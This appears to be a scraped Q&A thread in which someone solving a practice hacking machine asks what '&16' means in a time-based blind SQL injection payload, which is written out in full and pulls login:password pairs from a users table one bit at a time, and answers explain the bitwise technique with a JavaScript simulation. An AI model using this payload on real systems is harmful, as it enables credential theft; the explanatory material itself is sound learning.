I have this MySQL query, and the only thing I can't understand is this part &16
if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)
I'm trying to solve a machine in which I have a blind SQL injection:
This is the whole payload to find the login and password, character by character:
hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1
The code to achieve the 16 value is doing by {2**bit} And the bit value are a range for 0 to 7
CodePudding user response:
It looks like the person is trying to check if the second letter of the username password belongs to one of these ascii character ranges:
16 - 31
48 - 63
80 - 95
112 - 127
144 - 159
176 - 191
208 - 223
240 - 255
I am sure you will find similar attempts for each letter of the username password, for each value between 1, 2, 4, ... 128, and for each row in users table.
Now, here is what he is actually trying to do:
You need 256 attempts to guess a letter using brute force i.e. you check the ascii code 0x00 - 0xFF. But if bitwise AND
operation is available you can check one bit at a time and guess the letter in exactly 8 attempts. Here is a JavaScript implementation of what he's trying to do:
// assume this is the character from substring(..., 2, 1)
let substring = String.fromCharCode(Math.random() * 256);
// ...and this holds the ascii value of the character he's guessing
let cracked = 0;
// i represents the values used in the "&" operation
for (let i = 1; i <= 128; i <<= 1) {
console.log(`i = ${i.toString().padStart(3, " ")} (0b${i.toString(2).padStart(8, "0")})`);
if (substring.charCodeAt(0) & i) {
// when "&" operation results in a truthy value he spots a 2 second delay
// ...and updates the guessed value
cracked |= i;
}
}
console.log(`that substring: ${substring}`);
console.log(`cracked string: ${String.fromCharCode(cracked)} (${cracked})`);
<iframe name="sif1" sandbox="allow-forms allow-modals allow-scripts" frameborder="0"></iframe>
CodePudding user response:
It's extracting a single bit from a single character from a single row in your users
table.
If it is successful, then the attacker knows they can query your users and passwords. Then they can combine with a lot of other queries to extract the other bits from the other characters. Once they have all that information, they can piece it together on their computer and reconstruct the full user names and passwords.
Why do they do this in such a strange way, one bit at a time?
Because this way they don't have to return the data to know what it is. They can check the bits one at a time, and this affects the result of the query it runs in. They have checked for:
hacker' or if(...,sleep(2),0)
This will cause the query to be delayed for 2 seconds if the bit is 1, and it will have no delay if the bit is 0. They can time the result and therefore know whether a specific bit is set. Once they do this for all the bits, they know the full string.